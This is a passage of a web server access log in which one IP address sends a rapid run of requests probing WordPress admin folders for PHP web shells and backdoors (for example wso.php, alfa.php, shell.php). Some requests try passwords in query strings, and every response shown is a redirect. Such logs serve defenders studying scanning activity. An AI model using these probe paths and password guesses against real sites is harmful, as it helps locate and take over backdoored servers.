- - [19/Apr/2025:21:40:52 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:53 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:54 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:55 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:56 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:56 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:57 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:58 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:40:59 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:00 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:02 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:03 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:04 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:05 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:06 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:07 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:08 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:09 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:11 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:12 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:14 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:15 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:16 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:17 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:18 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:19 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:21 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:22 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:22 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:24 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:24 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:25 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:26 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:26 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:27 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:28 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:28 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:29 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:30 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:30 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:31 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:31 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:32 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:33 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:34 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:35 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:35 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:36 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:37 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:37 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:38 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:39 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:40 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:41 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:42 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:43 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:43 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:44 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:45 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:46 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:47 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:48 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:49 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:50 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:51 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:52 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:53 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:53 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:54 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:55 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:55 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:56 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:57 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:58 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:41:59 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:00 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:00 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:01 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:02 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:03 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:05 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:06 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:06 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:07 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:09 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:10 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:11 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:12 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:14 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:15 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:16 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:17 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:18 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:19 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:20 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:21 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:23 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:24 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:25 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:26 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:27 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:28 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:29 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:30 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:31 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:31 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:32 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:34 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:35 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:36 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:38 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:39 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:41 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:42 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:43 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:44 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:45 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:47 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:48 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:48 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:50 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:52 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:54 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:55 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:56 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:57 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:42:59 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:01 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:03 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:05 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:06 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:07 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:09 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:10 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:12 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:13 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:14 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:15 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:15 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:16 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:17 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:18 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:19 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:20 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:21 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:22 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:23 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:24 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:25 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:26 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:29 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:31 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:33 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:34 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:35 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:36 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:37 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:39 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:40 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:42 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:43 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:44 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:46 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:48 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:49 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:50 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:51 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:52 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:54 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:57 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:43:59 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:02 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:04 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:05 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:07 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:09 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:11 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:13 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:14 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:15 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:16 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:18 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:20 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:21 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:23 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:23 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:24 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:25 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:27 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:29 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:31 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:32 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:34 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:37 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:39 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:40 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:42 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:46 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:48 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:50 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:52 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:55 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:56 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:57 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:57 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:44:59 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:00 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:01 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:01 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:03 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:05 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:06 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:07 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:09 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:11 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:45:12 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 